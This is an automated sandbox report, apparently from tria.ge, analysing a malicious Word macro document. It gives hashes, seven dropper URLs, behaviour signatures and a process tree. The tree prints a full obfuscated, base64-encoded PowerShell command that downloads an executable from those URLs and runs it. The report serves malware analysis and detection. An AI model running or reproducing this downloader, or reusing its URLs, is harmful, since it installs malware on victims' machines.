Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    118s
  • max time network
    119s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    28/05/2024, 19:30

General

  • Target

    7e1f29c5d3f9bad4558fd9ef51b79ce8_JaffaCakes118.doc

  • Size

    194KB

  • MD5

    7e1f29c5d3f9bad4558fd9ef51b79ce8

  • SHA1

    547347cd00049761d0c05bacc293166995c5d433

  • SHA256

    ab4d0777ea8585140a9d19ccb330eaddeea2151248785fff7e097912d0a3af25

  • SHA512

    add1acf4e6203e15f2f2cbdcc6053d3978fcdc52c769663f18e2ed6dfe1d087f81a21b6301eafde32f61c695e8438a6dc10e2a3aa461eab77f90a13528de5a8c

  • SSDEEP

    1536:2rdi1Ir77zOH98Wj2gpngh+a9tEul8oPhEPmRl6VOi4J:2rfrzOH98ipgJEul8uWP+l6VOi4J

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

https://vstbar.com/wp-admin/Hs/

exe.dropper

http://binarywebtechsolutions.com/mobile-website-designing-company-in-gurgaon/CLZ/

exe.dropper

http://shahqutubuddin.org/U/

exe.dropper

http://cybersign-001-site5.gtempurl.com/2xwzq/bve/

exe.dropper

https://star-speed.vip/wp-admin/Ttv/

exe.dropper

https://treneg.com.br/rfvmbh/a/

exe.dropper

https://cimsjr.com/hospital/x2f/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 3 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\7e1f29c5d3f9bad4558fd9ef51b79ce8_JaffaCakes118.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2240
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2736
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -en JABVADMANABrAGoAeQBkAD0AKAAnAEEAcQAnACsAKAAnAHUAJwArACcAaABhAGEAJwApACsAJwBsACcAKQA7ACYAKAAnAG4AZQB3AC0AJwArACcAaQB0AGUAJwArACcAbQAnACkAIAAkAGUATgB2ADoAVQBzAEUAUgBwAFIAbwBmAGkATABlAFwAbQA3AGIAaQA0AE8AQwBcAFEAawByAEgAMgBaAEsAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABpAHIARQBjAFQATwBSAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMARQBgAEMAVQBSAEkAdABgAHkAUAByAGAATwBUAGAAbwBjAE8ATAAiACAAPQAgACgAKAAnAHQAbAAnACsAJwBzACcAKQArACgAJwAxADIALAAgACcAKwAnAHQAJwApACsAKAAnAGwAcwAxACcAKwAnADEALAAnACkAKwAoACcAIAAnACsAJwB0AGwAcwAnACkAKQA7ACQAQQA4AGcAdQBtAHkAOQAgAD0AIAAoACgAJwBGAGgAZABuACcAKwAnAHMAJwApACsAJwB1ACcAKQA7ACQAQgAwADkAbABkAHYAZAA9ACgAKAAnAEkAdwAnACsAJwB3ADMAJwApACsAJwB2ACcAKwAnADYAeQAnACkAOwAkAE0AYgBiADkAbwBjAGsAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAKAAoACcAVwBTACcAKwAoACcAeABNACcAKwAnADcAJwApACsAKAAnAGIAaQA0ACcAKwAnAG8AJwApACsAKAAnAGMAJwArACcAVwBTACcAKQArACgAJwB4ACcAKwAnAFEAawByAGgAMgAnACsAJwB6ACcAKQArACgAJwBrAFcAJwArACcAUwB4ACcAKQApACAALQByAEUAUABsAGEAYwBFACAAIAAoACcAVwBTACcAKwAnAHgAJwApACwAWwBDAGgAQQBSAF0AOQAyACkAKwAkAEEAOABnAHUAbQB5ADkAKwAoACcALgBlACcAKwAnAHgAZQAnACkAOwAkAFYAMwBnAGgAbQA2ADcAPQAoACcAUAAnACsAKAAnADAAJwArACcAbgAwACcAKQArACgAJwB0ACcAKwAnAHYAOAAnACkAKQA7ACQAQwB1AGQAagBsAGwAdwA9AC4AKAAnAG4AZQAnACsAJwB3AC0AbwBiAGoAZQBjACcAKwAnAHQAJwApACAATgBlAFQALgBXAEUAQgBjAEwASQBFAG4AVAA7ACQAWQBrADkAdgBkAGcAdQA9ACgAKAAnAGgAdAB0AHAAcwA6ACcAKwAnAC8AJwApACsAKAAnAC8AdgBzAHQAJwArACcAYgBhAHIAJwApACsAKAAnAC4AYwBvAG0AJwArACcALwAnACsAJwB3ACcAKQArACcAcAAnACsAJwAtACcAKwAoACcAYQBkACcAKwAnAG0AJwArACcAaQBuAC8AJwApACsAKAAnAEgAJwArACcAcwAvACcAKwAnACoAaAB0ACcAKQArACcAdAAnACsAJwBwADoAJwArACgAJwAvACcAKwAnAC8AYgBpACcAKQArACgAJwBuACcAKwAnAGEAcgB5AHcAZQBiAHQAJwArACcAZQAnACkAKwAoACcAYwBoAHMAbwAnACsAJwBsAHUAJwApACsAKAAnAHQAaQBvACcAKwAnAG4AcwAuAGMAJwArACcAbwAnACkAKwAnAG0ALwAnACsAKAAnAG0AbwBiAGkAbABlACcAKwAnAC0AdwBlACcAKwAnAGIAJwArACcAcwAnACkAKwAoACcAaQB0ACcAKwAnAGUAJwApACsAKAAnAC0AJwArACcAZABlAHMAaQBnACcAKQArACgAJwBuAGkAbgBnACcAKwAnAC0AYwAnACsAJwBvACcAKQArACcAbQBwACcAKwAoACcAYQBuACcAKwAnAHkAJwArACcALQBpAG4ALQAnACkAKwAoACcAZwB1ACcAKwAnAHIAZwAnACkAKwAoACcAYQBvACcAKwAnAG4ALwBDAEwAJwApACsAKAAnAFoAJwArACcALwAqAGgAdAAnACkAKwAnAHQAJwArACgAJwBwACcAKwAnADoALwAvAHMAaABhACcAKwAnAGgAcQAnACkAKwAnAHUAdAAnACsAJwB1AGIAJwArACcAdQAnACsAJwBkACcAKwAnAGQAaQAnACsAJwBuAC4AJwArACcAbwAnACsAJwByACcAKwAnAGcALwAnACsAJwBVACcAKwAnAC8AJwArACcAKgBoACcAKwAnAHQAJwArACgAJwB0AHAAJwArACcAOgAvACcAKQArACgAJwAvAGMAeQBiAGUAcgBzACcAKwAnAGkAZwAnACkAKwAoACcAbgAtACcAKwAnADAAMAAxAC0AcwBpACcAKwAnAHQAZQAnACsAJwA1AC4AZwB0ACcAKwAnAGUAJwApACsAJwBtACcAKwAnAHAAJwArACgAJwB1ACcAKwAnAHIAbAAnACkAKwAoACcALgBjAG8AJwArACcAbQAnACkAKwAnAC8AJwArACgAJwAyAHgAJwArACcAdwB6AHEAJwApACsAKAAnAC8AYgB2AGUAJwArACcALwAqACcAKQArACgAJwBoAHQAJwArACcAdABwACcAKQArACgAJwBzADoAJwArACcALwAnACkAKwAnAC8AcwAnACsAKAAnAHQAYQAnACsAJwByAC0AJwArACcAcwBwAGUAZQAnACkAKwAnAGQAJwArACcALgB2ACcAKwAnAGkAJwArACgAJwBwAC8AJwArACcAdwBwAC0AJwApACsAKAAnAGEAZABtAGkAJwArACcAbgAnACkAKwAnAC8AJwArACcAVAAnACsAKAAnAHQAJwArACcAdgAvACoAaAAnACsAJwB0AHQAcAAnACkAKwAnAHMAJwArACcAOgAvACcAKwAoACcALwAnACsAJwB0AHIAJwApACsAJwBlACcAKwAoACcAbgBlACcAKwAnAGcAJwApACsAJwAuAGMAJwArACgAJwBvAG0ALgBiACcAKwAnAHIALwAnACsAJwByAGYAJwApACsAKAAnAHYAbQAnACsAJwBiAGgAJwArACcALwBhAC8AKgBoAHQAJwApACsAJwB0AHAAJwArACcAcwAnACsAJwA6AC8AJwArACgAJwAvAGMAaQBtACcAKwAnAHMAJwApACsAKAAnAGoAcgAuACcAKwAnAGMAJwApACsAKAAnAG8AbQAvACcAKwAnAGgAJwApACsAJwBvAHMAJwArACcAcAAnACsAJwBpAHQAJwArACgAJwBhAGwALwB4ACcAKwAnADIAJwArACcAZgAvACcAKQApAC4AIgBTAFAAYABMAGkAdAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAEYAawAxAG0AbQBuAF8APQAoACcAWQAnACsAJwAxACcAKwAoACcAaAB2AHAAJwArACcAagAyACcAKQApADsAZgBvAHIAZQBhAGMAaAAoACQAVABmAHkAdgBqAHQAMwAgAGkAbgAgACQAWQBrADkAdgBkAGcAdQApAHsAdAByAHkAewAkAEMAdQBkAGoAbABsAHcALgAiAEQAYABPAFcAYABOAEwAYABvAGEAZABGAEkATABFACIAKAAkAFQAZgB5AHYAagB0ADMALAAgACQATQBiAGIAOQBvAGMAawApADsAJABPAGEAawB3AG0AbQBmAD0AKAAnAEIAJwArACgAJwA0ACcAKwAnAHoAZgAnACkAKwAoACcAaABlACcAKwAnAGgAJwApACkAOwBJAGYAIAAoACgAJgAoACcARwBlAHQALQBJACcAKwAnAHQAJwArACcAZQBtACcAKQAgACQATQBiAGIAOQBvAGMAawApAC4AIgBsAEUAbgBHAGAAVABIACIAIAAtAGcAZQAgADMANQAyADMAMwApACAAewAmACgAJwBJAG4AdgAnACsAJwBvAGsAZQAnACsAJwAtAEkAdABlAG0AJwApACgAJABNAGIAYgA5AG8AYwBrACkAOwAkAE4AdABrAGYAbQA3AHEAPQAoACcAVwAnACsAJwBrAHgAJwArACgAJwB4AGsAJwArACcAMQBuACcAKQApADsAYgByAGUAYQBrADsAJABEAHAAdABsAGwAMgA3AD0AKAAoACcATQBqACcAKwAnAHQAJwApACsAKAAnAHkAJwArACcANQBjADUAJwApACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEwAOAA3ADEAcQBkAGkAPQAoACcAVgAnACsAJwA0ACcAKwAoACcAcQBjAHQAJwArACcAdgAzACcAKQApAA==
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2404

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

      Filesize

      20KB

      MD5

      cd0b75f5d0d24bd5f55420efc7c1a743

      SHA1

      f5ed8fc5b671c6610096768a415e22edced057ec

      SHA256

      5890fff48cba3e217e9ab9ba29b900cc02c9c51fa45b1e1c7dfd4bf1f0fafdcb

      SHA512

      16d72d26139f0106dbcdd38c0d007c707386c20503e0f88712c93c2950c12e93bf6a4f59998c86040eea9b3628306bc72fbd4ce8e79072475da230e37c60d388

    • memory/2240-33-0x0000000005C00000-0x0000000005D00000-memory.dmp

      Filesize

      1024KB

    • memory/2240-47-0x00000000005B0000-0x00000000006B0000-memory.dmp

      Filesize

      1024KB

    • memory/2240-6-0x00000000005B0000-0x00000000006B0000-memory.dmp

      Filesize

      1024KB

    • memory/2240-0-0x000000002F631000-0x000000002F632000-memory.dmp

      Filesize

      4KB

    • memory/2240-8-0x00000000005B0000-0x00000000006B0000-memory.dmp

      Filesize

      1024KB

    • memory/2240-22-0x0000000005C00000-0x0000000005D00000-memory.dmp

      Filesize

      1024KB

    • memory/2240-17-0x0000000005C00000-0x0000000005D00000-memory.dmp

      Filesize

      1024KB

    • memory/2240-31-0x0000000005C00000-0x0000000005D00000-memory.dmp

      Filesize

      1024KB

    • memory/2240-2-0x0000000070BDD000-0x0000000070BE8000-memory.dmp

      Filesize

      44KB

    • memory/2240-66-0x0000000070BDD000-0x0000000070BE8000-memory.dmp

      Filesize

      44KB

    • memory/2240-7-0x00000000005B0000-0x00000000006B0000-memory.dmp

      Filesize

      1024KB

    • memory/2240-65-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2240-45-0x0000000070BDD000-0x0000000070BE8000-memory.dmp

      Filesize

      44KB

    • memory/2240-32-0x0000000005C00000-0x0000000005D00000-memory.dmp

      Filesize

      1024KB

    • memory/2240-48-0x0000000005DE0000-0x0000000005EE0000-memory.dmp

      Filesize

      1024KB

    • memory/2240-49-0x0000000005C00000-0x0000000005D00000-memory.dmp

      Filesize

      1024KB

    • memory/2240-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2404-40-0x00000000026E0000-0x00000000026E8000-memory.dmp

      Filesize

      32KB

    • memory/2404-39-0x000000001B610000-0x000000001B8F2000-memory.dmp

      Filesize

      2.9MB